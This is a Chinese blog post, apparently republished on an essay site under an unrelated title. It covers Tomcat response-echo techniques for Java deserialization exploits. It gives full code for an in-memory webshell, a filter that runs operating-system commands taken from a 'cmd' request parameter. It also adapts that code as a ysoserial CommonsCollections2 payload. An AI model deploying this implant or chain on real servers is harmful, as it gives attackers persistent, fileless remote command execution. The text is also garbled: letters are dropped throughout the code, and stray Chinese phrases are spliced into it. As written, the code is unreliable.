首页 > 作文

数据回显是什么意思(系统自动返显方法)

更新时间:2023-04-05 08:30:14 阅读: 评论:0

0x00 前言#

按照我个人的理解来说其实只要能拿到request 和respon对象即可进行回显的构造,当然这也是众多方式的一种。也是目前用的较多的方式。比如在tomcat 全局存储的request 和respon对象,进行获取后则可以在tomcat这个容器下进行回显。而某些漏洞的方式会从漏洞的位置去寻找存储request 和respon对象的地方。

0x01 tomcat通用回显#

根据litch1师傅的思路来寻找request,respon对象全局存储的位置基于全局储存的新思路 | tomcat的一种通用回显方法研究

根据该文章思路得知,在tomcat启动的时候会调用该位置的dorun方法

由图可见,调用栈会来到创建http11processor对象这一步,http11processor继承abstractprocessor类。而abstractprocessor类中可见有request,respon这两对象。并且为final修饰的,赋值后不可被更改。

那么此时我们只需要获取到这个http11processor对象即可获取到request,respon。继续跟进查看http11processor对象在哪进行存储。

调用this.register将前面创建的http11processor对象进行传递。而后调用processor.getrequest().getrequestprocessor()获取requestinfo。

调用获取到的requestinfo,这里为rp。rp的tglobalprocessor将global进行传递,而tglobalprocessor方法里面会调用
global.addrequestprocessor将rp添加进去。

跟进进去发现,processors为一个arraylist,里面存储requestinfo类型的数据。

所以整体的思路下来我们需要获取abstractprotocol$connectionhandler类 -> 获取global变量 ->requestinfo->request–>respon。

再往后需要寻找存储abstractprotocol类或继承abstractprotocol类的子类。

这里寻找到的是connector成员变量中为protocolhandler属性的值,而 http11aprprotocol类实现了该接口。

所以获取request的处理请求是

connector—>abstractprotocol$connectoinhandler—>global—>requestinfo—>request—>respon

而在tomcat启动过程红会将connector放入rvice中。

而现在获取完成的流程是

standardrvice—>connector—>abstractprotocol$connectoinhandler—>requestgroupinfo(global)–>requestinfo——->request——–>respon

那么这时候如何获取standardrvice成为了问题的一大关键。

文中给出的方法是从
thread.currentthread.getcontextclassloader()里面获取webappclassloaderba,再获取上下文中的 standardrvice。

最后调用链为

webappclassloaderba —>

applicationcontext(getresources().getcontext()) —> standardrvice—>connector—>abstractprotocol$connectoinhandler—>requestgroupinfo(global)—>requestinfo——->request——–>respon

package com;import org.apache.catalina.context;import org.apache.catalina.rvice;import org.apache.catalina.connector.connector;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.standardcontext;import org.apache.catalina.core.standardrvice;import org.apache.coyote.abstractprotocol;import org.apache.coyote.requestgroupinfo;import org.apache.coyote.requestinfo;import org.apache.coyote.respon;import javax.rvlet.rvletcontext;import javax.rvlet.rvletexception;import javax.rvlet.annotation.webrvlet;import javax.rvlet.http.httprvlet;import javax.rvlet.http.httprvletrequest;import javax.rvlet.http.httprvletrespon;import java.io.ioexception;import java.lang.reflect.constructor;import java.lang.reflect.field;import java.lang.reflect.invocationtargetexception;import java.lang.reflect.modifier;import java.util.arraylist;@webrvlet("/demorvlet")public class demorvlet extends httprvlet {    protected void dopost(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexcepti可逆符号on {        org.apache.catalina.loader.webappclassloaderba webappclassloaderba = (org.apache.catalina.loader.webappclassloaderba) thread.currentthread().getcontextclassloader();        standardcontext standardcontext = (standardcontext) webappclassloaderba.getresources().getcontext();        try {            field context = class.forname("org.apache.catalina.core.standardcontext").getdeclaredfield("context");            context.taccessible(true);            applicationcontext applicationcontext = (applicationcontext)context.get(standardcontext);            field rvice = class.forname("org.apache.catalina.core.applicationcontext").getdeclaredfield("rvice");            rvice.taccessible(true);            standardrvice standardrvice = (standardrvice)rvice.get(applicationcontext);            field connectors = class.forname("org.apache.catalina.core.standardrvice").getdeclaredfield("connectors");            connectors.taccessible(true);            connector[] connector = (connector[])connectors.get(standardrvice);            field protocolhandler = class.forname("org.apache.catalina.connector.connector").getdeclaredfield("protocolhandler");            protocolhandler.taccessible(true);//            abstractprotocol abstractprotocol = (abstractprotocol)protocolhandler.get(connector[0]);            class<?>[] abstractprotocol_list = class.forname("org.apache.coyote.abstractprotocol").getdeclaredclass();            for (class<?> aclass : abstractprotocol_list) {                if (aclass.getname().length()==52){                    java.lang.reflect.method gethandlermethod = org.apache.coyote.abstractprotocol.class.getdeclaredmethod("gethandler",null);                    gethandlermethod.taccessible(true);                    field globalfield = aclass.getdeclaredfield("global");                    globalfield.taccessible(true);                    org.apache.coyote.requestgroupinfo requestgroupinfo = (org.apache.coyote.requestgroupinfo) globalfield.get(gethandlermethod.invoke(connector[0].getprotocolhandler(), null));                    field processors = class.forname("org.apache.coyote.requestgroupinfo").getdeclaredfield("processors");                    processors.taccessible(true);                    java.util.list<requestinfo> requestinfo_list = (java.util.list<requestinfo>) processors.get(requestgroupinfo);                    field req = class.forname("org.apache.coyote.requestinfo").getdeclaredfield("req");                    req.taccessible(true);                    for (requestinfo requestinfo : requestinfo_list) {                        org.apache.coyote.request request1 = (org.apache.coyote.request )req.get(requestinfo);                        org.apache.catalina.connector.request request2 = ( org.apache.catalina.connector.request)request1.getnote(1);                        org.apache.catalina.connector.respon respon2 = request2.getrespon();                        respon2.getwriter().write("111");                    }                }            }        } catch (nosuchfieldexception e) {            e.printstacktrace();        } catch (classnotfoundexception e) {            e.printstacktrace();        } catch (illegalaccesxception e) {            e.printstacktrace();        } catch (nosuchmethodexception e) {            e.printstacktrace();        } catch (invocationtargetexception e) {            e.printstacktrace();        }    }    protected void doget(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexception {        this.dopost(request, respon);    }}

这里是借助了获取到的request和respon来输出结果。再来修改一下代码。

package com;import org.apache.catalina.context;import org.apache.catalina.rvice;import org.apache.catalina.connector.connector;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.standardcontext;import org.apache.catalina.core.standardrvice;import org.apache.coyote.abstractprotocol;import org.apache.coyote.requestgroupinfo;import org.apache.coyote.requestinfo;import org.apache.coyote.respon;import javax.rvlet.rvletcontext;import javax.rvlet.rvletexception;import javax.rvlet.annotation.webrvlet;import javax.rvlet.http.httprvlet;import javax.rvlet.http.httprvletrequest;import javax.rvlet.http.httprvletrespon;import java.io.bufferedinputstream;import java.io.bufferedoutputstream;import java.io.ioexception;import java.io.inputstream;import java.lang.reflect.constructor;import java.lang.reflect.field;import java.lang.reflect.invocationtargetexception;import java.lang.reflect.modifier;import java.util.arraylist;@webrvlet("/demorvlet")public class demorvlet extends httprvlet {    protected void dopost(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexception {        org.apache.catalina.loader.webappclassloaderba webappclassloaderba = (org.apache.catalina.loader.webappclassloaderba) thread.currentthread().getcontextclassloader();        standardcontext standardcontext = (standardcontext) webappclassloaderba.getresources().getcontext();        try {            field context = class.forname("org.apache.catalina.core.standardcontext").getdeclaredfield("context");            context.taccessible(true);            applicationcontext applicationcontext = (applicationcontext)context.get(standardcontext);            field rvice = class.forname("org.apache.catalina.core.applicationcontext").getdeclaredfield("rvice");            rvice.taccessible(true);            standardrvice standardrvice = (standardrvice)rvice.get(applicationcontext);            field connectors = class.forname("org.apache.catalina.core.standardrvice").getdeclaredfield("connectors");            connectors.taccessible(true);            connector[] connector = (connector[])connectors.get(standardrvice);            field protocolhandler = class.forname("org.apache.catalina.connector.connector").getdeclaredfield("protocolhandler");            protocolhandler.taccessible(true);//            abstractprotocol abstractprotocol = (abstractprotocol)protocolhandler.get(connector[0]);            class<?>[] abstractprotocol_list = class.forname("org.apache.coyote.abstractprotocol").getdeclaredclass();            for (class<?> aclass : abstractprotocol_list) {                if (aclass.getname().length()==52){                    java.lang.reflect.method gethandlermethod = org.apache.coyote.abstractprotocol.class.getdeclaredmethod("gethandler",null);                    gethandlermethod.taccessible(true);                    field globalfield = aclass.getdeclaredfield("global");                    globalfield.taccessible(true);                    org.apache.coyote.requestgroupinfo requestgroupinfo = (org.apache.coyote.requestgroupinfo) globalfield.get(gethandlermethod.invoke(connector[0].getprotocolhandler(), null));                    field processors = class.forname("org.apache.coyote.requestgroupinfo").getdeclaredfield("processors");                    processors.taccessible(true);                    java.util.list<requestinfo> requestinfo_list = (java.util.list<requestinfo>) processors.get(requestgroupinfo);                    field req = class.forname("org.apache.coyote.requestinfo").getdeclaredfield("req");                    req.taccessible(true);                    for (requestinfo requestinfo : requestinfo_list) {                        org.apache.coyote.request request1 = (org.apache.coyote.request )req.get(requestinfo);                        org.apache.catalina.connector.request request2 = ( org.apache.catalina.connector.request)request1.getnote(1);                        org.apache.catalina.connector.respon respon2 = request2.getrespon();                        respon2.getwriter().write("111");                        inputstream whoami = runtime.getruntime().exec("whoami").getinputstream();//                        bufferedinputstream bufferedinputstream = new bufferedinputstream(whoami);                        bufferedinputstream bis = new bufferedinputstream(whoami);                        int b ;                        while ((b = bis.read())!=-1){                            respon2.getwriter().write(b);                        }                    }                }            }        } catch (nosuchfieldexception e) {            e.printstacktrace();        } catch (classnotfoundexception e) {            e.printstacktrace();        } catch (illegalaccesxception e) {            e.printstacktrace();        } catch (nosuchmethodexception e) {            e.printstacktrace();        } catch (invocationtargetexception e) {            e.printstacktrace();        }    }    protected void doget(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexception {        this.dopost(request, respon);    }}

将命令执行结果使用获取到的request和respon来输出。

坑点记录#

开始想直接获取内部类发现思路不通,后来采用getdeclaredclass方法获取某类中所有内部的内部类遍历,判断类名传递定位到该类。获取global遍历的时候出现了巨坑,直接反射去获取。但是未意识到创建是一个class对象,反射使用get方法必须传递实例。获取到request需要调用request.getnote(1);转换为org.apache.catalina.connector.request的对象。fanal修饰变量,需做修改,直接获取报错。
通过调用 org.apache.coyote.request#getnote(adapter_notes) 和 org.apache.coyote.respon#getnote(adapter_notes) 来获取 org.apache.catalina.connector.request 和 org.apache.catalina.connector.respon 对象

文章链接

0x02 tomcat半通用回显#

基于tomcat中一种半通用回显方法该篇文来调试一下。

根据前文思路顺着堆栈一路向下查看request和respon存储位置,只要获取到一个实例即可。

顺着思路,在
org.apache.catalina.core.applicationfilterchain位置发现符合条件的变量。

下面寻找赋值位置,发现在这个位置对request,respon进行实例的存储。但是默认为fal

思路如下:

1、反射修改
applicationdispatcher.wrap_same_object,让代码逻辑走到if条件里面

2、初始化lastrvicedrequest和lastrvicedrespon两个变量,默认为null

3、从lastrvicedrespon中获取当前请求respon,并且回显内容。

自己尝试构造了一下

package com;import javax.rvlet.rvletexception;import javax.rvlet.rvletrequest;import javax.rvlet.rvletrespon;import javax.rvlet.annotation.webrvlet;import javax.rvlet.http.httprvlet;import javax.rvlet.http.httprvletrequest;import javax.rvlet.http.httprvletrespon;import java.io.ioexception;import java.lang.reflect.field;import java.lang.reflect.modifier;@webrvlet("/testrvlet")public class testrvlet extends httprvlet {    protected void dopost(httprvletrequest request, httprvletrespon respon) {        try {            field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object");            field lastrvicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrequest");            field lastrvicedrespon = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrespon");            lastrvicedrequest.taccessible(true);            lastrvicedrespon.taccessible(true);            wrap_same_object.taccessible(true);            //修改final            field modifiersfield = field.class.getdeclaredfield("modifiers");            modifiersfield.taccessible(true);            modifiersfield.tint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final);            modifiersfield.tint(lastrvicedrequest, lastrvicedrequest.getmodifiers() & ~modifier.final);            modifiersfield.tint(lastrvicedrespon, lastrvicedrespon.getmodifiers() & ~modifier.final);            boolean wrap_same_object1 = wrap_same_object.getboolean(null);            threadlocal<rvletrequest> requestthreadlocal = (threadlocal<rvletrequest>)lastrvicedrequest.get(null);            threadlocal<rvletrespon> responthreadlocal = (threadlocal<rvletrespon>)lastrvicedrespon.get(null);            wrap_same_object.tboolean(null,true);            lastrvicedrequest.t(null,new threadlocal<>());            lastrvicedrespon.t(null,new threadlocal<>());            rvletrespon rvletrespon = responthreadlocal.get();            rvletrespon.getwriter().write("111");        } catch (exception e) {            e.printstacktrace();        }    }    protected void doget(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexception {        this.dopost(request, respon);    }}

同理,可集成到yso中,反序列化命令执行结果借助该rvletrespon。

局限#

在shiro反序列化漏洞的利用中并不能成功,发现request,respon的设置是在漏洞触发点之后,所以在触发漏洞执行任意java代码时获取不到我们想要的respon。其原因是因为rememberme功能的实现是使用了自己实燃开头的成语现的filter。

0x03 内存马构造#

前文的基于tomcat实现内存马中只是借助rvlet直接去进行动态添加filter实现内存马。而实际当中还是需要借助反序列化点来直接打入内存马。

下面再来构造一个完整的。

获取到applicationcontext调用addfilter方法直接将恶意filter添加进去发现并不行。

applicationcontext.addfilter(filtername,new shellintinject());

断点处进行了判断,条件为true,会直接抛出异常。而这时候可以借助反射去进行修改。

field state = class.forname("org.apache.catalina.util.lifecycleba").getdeclaredfield("state");                state.taccessible(true);                state.t(standardcontext,org.apache.catalina.lifecyclestate.starting_prep);

修改完成后,再来看到addfilter中,
this.context.findfilterdef也就是寻找standardcontext中的filterdef,所以我们需要添加到filterconfigs、filterdefs、filtermaps。

在添加filter前,通过反射设置成
lifecyclestate.starting_prep,添加完成后,再把其恢复成lifecyclestate.starte,需要恢复,否则可能导致服务不可用。

//添加拦截路径,实现是将存储写入到filtermap中registration.addmappingforurlpatterns(java.util.enumt.of(javax.rvlet.dispatchertype.request), fal,new string[]{"/*"});

后面再来看到standardcontext 中filterstart方法会遍历所有filterdefs实例化applicationfilterconfig添加到filterconfigs中

this.filterconfigs.clear();            iterator i$ = this.filterdefs.entryt().iterator();            while(i$.hasnext()) {            我的漫画老师作文五年级    entry<string, filterdef> entry = (entry)i$.next();                string name = (string)entry.getkey();                if (this.getlogger().isdebugenabled()) {                    this.getlogger().debug(" starting filter '" + name + "'");                }                try {                    applicationfilterconfig filterconfig = new applicationfilterconfig(this, (filterdef)entry.getvalue());                    this.filterconfigs.put(name, filterconfig);                } catch (throwable var8) {                    throwable t = exceptionutils.unwrapinvocationtargetexception(var8);                    exceptionutils.handlethrowable(t);                    this.getlogger().error(sm.getstring("standardcontext.filterstart", new object[]{name}), t);                    ok = fal;                }            }            return ok;        }    }

前面我们的调用addfilter方法的时候已经将 对应的filterdef给添加进去,我们只需要调用该方法即可实现filterconfig的添加。

 //调用filterstart方法将filterconfig进行添加                method filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart");                filterstart.taccessible(true);                filterstart.invoke(standardcontext,null);

最后,需要将filter位置进行调整。

在调试中途,部分代码抛出异常并没有直接执行state.t(standardcontext,
org.apache.catalina.lifecyclestate.started);会导致tomcat直接503。无法进行正常访问,需重启。

完整代码#

package com;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.standardcontext;import org.apache.tomcat.util.descriptor.web.filtermap;import javax.rvlet.*;import javax.rvlet.annotation.webrvlet;import javax.rvlet.http.httprvlet;import javax.rvlet.http.httprvletrequest;import javax.rvlet.http.httprvletrespon;import java.io.bufferedinputstream;import java.io.ioexception;import java.io.inputstream;import java.lang.reflect.field;import java.lang.reflect.method;import java.lang.reflect.modifier;@webrvlet("/testrvlet")public class testrvlet extends httprvlet {    private final string cmdparamname = "cmd";    private final static string filterurlpattern = "/*";    private final static string filtername = "cmdfilter";    protected void dopost(httprvletrequest request, httprvletrespon respon) {        try {            field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object");            field lastrvicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrequest");            field lastrvicedrespon = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrespon");            lastrvicedrequest.taccessible(true);            lastrvicedrespon.taccessible(true);            wrap_same_object.taccessible(true);            //修改final            field modifiersfield = field.class.getdeclaredfield("modifiers");            modifiersfield.taccessible(true);            modifiersfield.tint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final);            modifiersfield.tint(lastrvicedrequest, lastrvicedrequest.getmodifiers() & ~modifier.final);            modifiersfield.tint(lastrvicedrespon, lastrvicedrespon.getmodifiers() & ~modifier.final);            boolean wrap_same_object1 = wrap_same_object.getboolean(null);            threadlocal<rvletrequest> requestthreadlocal = (threadlocal<rvletrequest>)lastrvicedrequest.get(null);            threadlocal<rvletrespon> responthreadlocal = (threadlocal<rvletrespon>)lastrvicedrespon.get(null);            wrap_same_object.tboolean(null,true);            lastrvicedrequest.t(null,new threadlocal<>());            lastrvicedrespon.t(null,new threadlocal<>());            rvletrespon rvletrespon = responthreadlocal.get();            rvletrequest rvletrequest = requestthreadlocal.get();            rvletcontext rvletcontext = rvletrequest.getrvletcontext();  //这里实际获取到的是applicationcontextfacade            if (rvletcontext!=null) {                //编写恶意filter                class shellintinject implements javax.rvlet.filter{                    @override                    public void init(filterconfig filterconfig) throws rvletexception {                    }                    @override                    public void dofilter(rvletrequest rvletrequest, rvletrespon rvletrespon, filterchain filterchain) throws ioexception, rvletexception {                        system.out.println("s");                        string cmd = rvletrequest.getparameter(cmdparamname);                        if(cmd!=null) {                            string[] cmds = null;                            if (system.getproperty("os.name").tolowerca().contains("win")) {                                cmds = new string[]{"cmd.exe", "/c", cmd};                            } el {                                cmds = new string[]{"sh", "-c", cmd};                            }                            java.io.inputstream in = runtime.getruntime().exec(cmds).getinputstream();                            java.util.scanner s = new java.util.scanner(in).udelimiter("\a");                            string output = s.hasnext() ? s.next() : ""古代六部是哪六部;                            java.io.writer writer = rvletrespon.getwriter();                            writer.write(output);                            writer.flush();                            writer.clo();                        }                        filterchain.dofilter(request, respon);                    }                    @override                    public void destroy() {                    }                }                    //获取applicationcontext                field context = rvletcontext.getclass().getdeclaredfield("context");                context.taccessible(true);                applicationcontext applicationcontext = (applicationcontext)context.get(rvletcontext);                //获取standardcontext                field context1 = applicationcontext.getclass().getdeclaredfield("context");                context1.taccessible(true);                standardcontext standardcontext = (standardcontext) context1.get(applicationcontext);                //获取lifecycleba的state修改为org.apache.catalina.lifecyclestate.starting_prep                field state = class.forname("org.apache.catalina.util.lifecycleba").getdeclaredfield("state");                state.taccessible(true);                state.t(standardcontext,org.apache.catalina.lifecyclestate.starting_prep);                //注册filtername                filterregistration.dynamic registration = applicationcontext.addfilter(filtername, new shellintinject());                //添加拦截路径,实现是将存储写入到filtermap中                registration.addmappingforurlpatterns(java.util.enumt.of(javax.rvlet.dispatchertype.request), fal,new string[]{"/*"});                //调用filterstart方法将filterconfig进行添加                method 传说filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart");                filterstart.taccessible(true);                filterstart.invoke(standardcontext,null);                //移动filter为位置到前面                filtermap[] filtermaps = standardcontext.findfiltermaps();                for (int i = 0; i < filtermaps.length; i++) {                    if (filtermaps[i].getfiltername().equalsignoreca(filtername)) {                        org.apache.tomcat.util.descriptor.web.filtermap filtermap = filtermaps[i];                        filtermaps[i] = filtermaps[0];                        filtermaps[0] = filtermap;                        break;                    }                }                rvletrespon.getwriter().write("success");                state.t(standardcontext,org.apache.catalina.lifecyclestate.started);            }        } catch (exception e) {            e.printstacktrace();        }    }    protected void doget(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexception {        this.dopost(request, respon);    }}

但这并未完,虽然我们借助了代码执行获取到request和respon后构造内存马。但是仍需要修改代码,将代码集成到yso中后,以供反序列化攻击使用。

0x04 改造yso#

将前面代码扣下来,并且继承abstracttranslet,后面需要使用templatesimpl类去动态加载该类。

package ysorial.exploit;import com.sun.org.apache.xalan.internal.xsltc.dom;import com.sun.org.apache.xalan.internal.xsltc.transletexception;import com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttranslet;import com.sun.org.apache.xml.internal.dtm.dtmaxisiterator;import com.sun.org.apache.xml.internal.rializer.rializationhandler;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.standardcontext;import org.apache.tomcat.util.descriptor.web.filtermap;import javax.rvlet.*;import java.io.ioexception;import java.lang.reflect.field;import java.lang.reflect.method;import java.lang.reflect.modifier;public class tomcatshellintinject extends abstracttranslet {    private final static string cmdparamname = "cmd";    private final static string filterurlpattern = "/*";    private final static string filtername = "cmdfilter";    static {        try {            field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object");            field lastrvicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrequest");            field lastrvicedrespon = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrespon");            lastrvicedrequest.taccessible(true);            lastrvicedrespon.taccessible(true);            wrap_same_object.taccessible(true);            //修改final            field modifiersfield = field.class.getdeclaredfield("modifiers");            modifiersfield.taccessible(true);            modifiersfield.tint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final);            modifiersfield.tint(lastrvicedrequest, lastrvicedrequest.getmodifiers() & ~modifier.final);            modifiersfield.tint(lastrvicedrespon, lastrvicedrespon.getmodifiers() & ~modifier.final);            boolean wrap_same_object1 = wrap_same_object.getboolean(null);            threadlocal<rvletrequest> requestthreadlocal = (threadlocal<rvletrequest>) lastrvicedrequest.get(null);            threadlocal<rvletrespon> responthreadlocal = (threadlocal<rvletrespon>) lastrvicedrespon.get(null);            wrap_same_object.tboolean(null, true);            lastrvicedrequest.t(null, new threadlocal<rvletrequest>());            lastrvicedrespon.t(null, new threadlocal<rvletrespon>());            rvletrespon rvletrespon = responthreadlocal.get();            rvletrequest rvletrequest = requestthreadlocal.get();            rvletcontext rvletcontext = rvletrequest.getrvletcontext();  //这里实际获取到的是applicationcontextfacade            if (rvletcontext != null) {                //编写恶意filter                class shellintinject implements filter {                    @override                    public void init(filterconfig filterconfig) throws rvletexception {                    }                    @override                    public void dofilter(rvletrequest rvletrequest, rvletrespon rvletrespon, filterchain filterchain) throws ioexception, rvletexception {                        string cmd = rvletrequest.getparameter(cmdparamname);                        if (cmd != null) {                            string[] cmds = null;                            if (system.getproperty("os.name").tolowerca().contains("win")) {                                cmds = new string[]{"cmd.exe", "/c", cmd};                            } el {                                cmds = new string[]{"sh", "-c", cmd};                            }                            java.io.inputstream in = runtime.getruntime().exec(cmds).getinputstream();                            java.util.scanner s = new java.util.scanner(in).udelimiter("\a");                            string output = s.hasnext() ? s.next() : "";                            java.io.writer writer = rvletrespon.getwriter();                            writer.write(output);                            writer.flush();                            writer.clo();                        }                        filterchain.dofilter(rvletrequest, rvletrespon);                    }                    @override                    public void destroy() {                    }                }                //获取applicationcontext                field context = rvletcontext.getclass().getdeclaredfield("context");                context.taccessible(true);                applicationcontext applicationcontext = (applicationcontext) context.get(rvletcontext);                //获取standardcontext                field context1 = applicationcontext.getclass().getdeclaredfield("context");                context1.taccessible(true);                standardcontext standardcontext = (standardcontext) context1.get(applicationcontext);                //获取lifecycleba的state修改为org.apache.catalina.lifecyclestate.starting_prep                field state = class.forname("org.apache.catalina.util.lifecycleba").getdeclaredfield("state");                state.taccessible(true);                state.t(standardcontext, org.apache.catalina.lifecyclestate.starting_prep);                //注册filtername                filterregistration.dynamic registration = applicationcontext.addfilter(filtername, new shellintinject());                //添加拦截路径,实现是将存储写入到filtermap中                registration.addmappingforurlpatterns(java.util.enumt.of(dispatchertype.request), fal, new string[]{filterurlpattern});                //调用filterstart方法将filterconfig进行添加                method filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart");                filterstart.taccessible(true);                filterstart.invoke(standardcontext, null);                //移动filter为位置到前面                filtermap[] filtermaps = standardcontext.findfiltermaps();                for (int i = 0; i < filtermaps.length; i++) {                    if (filtermaps[i].getfiltername().equalsignoreca(filtername)) {                        org.apache.tomcat.util.descriptor.web.filtermap filtermap = filtermaps[i];                        filtermaps[i] = filtermaps[0];                        filtermaps[0] = filtermap;                        break;                    }                }                rvletrespon.getwriter().write("success");                state.t(standardcontext, org.apache.catalina.lifecyclestate.started);            }        } catch (exception e) {            e.printstacktrace();        }    }    @override    public void transform(dom document, rializationhandler[] handlers) throws transletexception {    }    @override    public void transform(dom document, dtmaxisiterator iterator, rializationhandler handler) throws transletexception {    }}

yso中createtemplatesimpl稍做修改

public static object createtemplatesimpl_shell ( final string command ) throws exception {        if ( boolean.parboolean(system.getproperty("properxalan", "fal")) ) {            return createtemplatesimpl(                command,                class.forname("org.apache.xalan.xsltc.trax.templatesimpl"),                class.forname("org.apache.xalan.xsltc.runtime.abstracttranslet"),                class.forname("org.apache.xalan.xsltc.trax.transformerfactoryimpl"));        }        return createtemplatesimpl_shell(command, templatesimpl.class, abstracttranslet.class, transformerfactoryimpl.class);    }    public static <t> t createtemplatesimpl_shell ( final string command, class<t> tplclass, class<?> absttranslet, class<?> transfactory )        throws exception {        final t templates = tplclass.newinstance();        // u template gadget class        classpool pool = classpool.getdefault();        pool.inrtclasspath(new classclasspath(stubtransletpayload.class));        pool.inrtclasspath(new classclasspath(absttranslet));        final ctclass clazz = pool.get(stubtransletpayload.class.getname());        final byte[]  classbytes = classfiles.classasbytes(tomcatshellintinject.class);//        final byte[] classbytes = clazz.tobytecode();        // inject class bytes into instance        reflections.tfieldvalue(templates, "_bytecodes", new byte[][] {            classbytes, classfiles.classasbytes(foo.class)        });        // required to make templatesimpl happy        reflections.tfieldvalue(templates, "_name", "pwnr");        reflections.tfieldvalue(templates, "_tfactory", transfactory.newinstance());        return templates;    }

这里拿cc2链来测试,复制cc2链代码。将getobject方法修改

final object templates = gadgets.createtemplatesimpl_shell(command);

github:https://github.com/nice0e3/ysorial-master

0x05 reference#

基于全局储存的新思路 | tomcat的一种通用回显方法研究

tomcat中一种半通用回显方法

基于tomcat的内存 webshell 无文件攻击技术

java web代码执行漏洞回显总结

shiro 550 漏洞学习 (二):内存马注入及回显

0x06 结尾#

说到底,其实中间件回显就是获取request 和respon对象,拿到以后借助拿到的request 和respon对象进行回显,而内存马则是使用获取到的这两对象从而获取到context进行动态添加filter。而文中并没有去实现冰蝎等内存shell,而只实现了一个cmd的shell。同理,只需将恶意fliter修改成冰蝎的shell即可。

本文发布于:2023-04-05 08:29:50,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/zuowen/233ca12582dea5d1b74f5b17be6ed5ec.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

本文word下载地址:数据回显是什么意思(系统自动返显方法).doc

本文 PDF 下载地址:数据回显是什么意思(系统自动返显方法).pdf

标签:方法   对象   代码   位置
相关文章
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图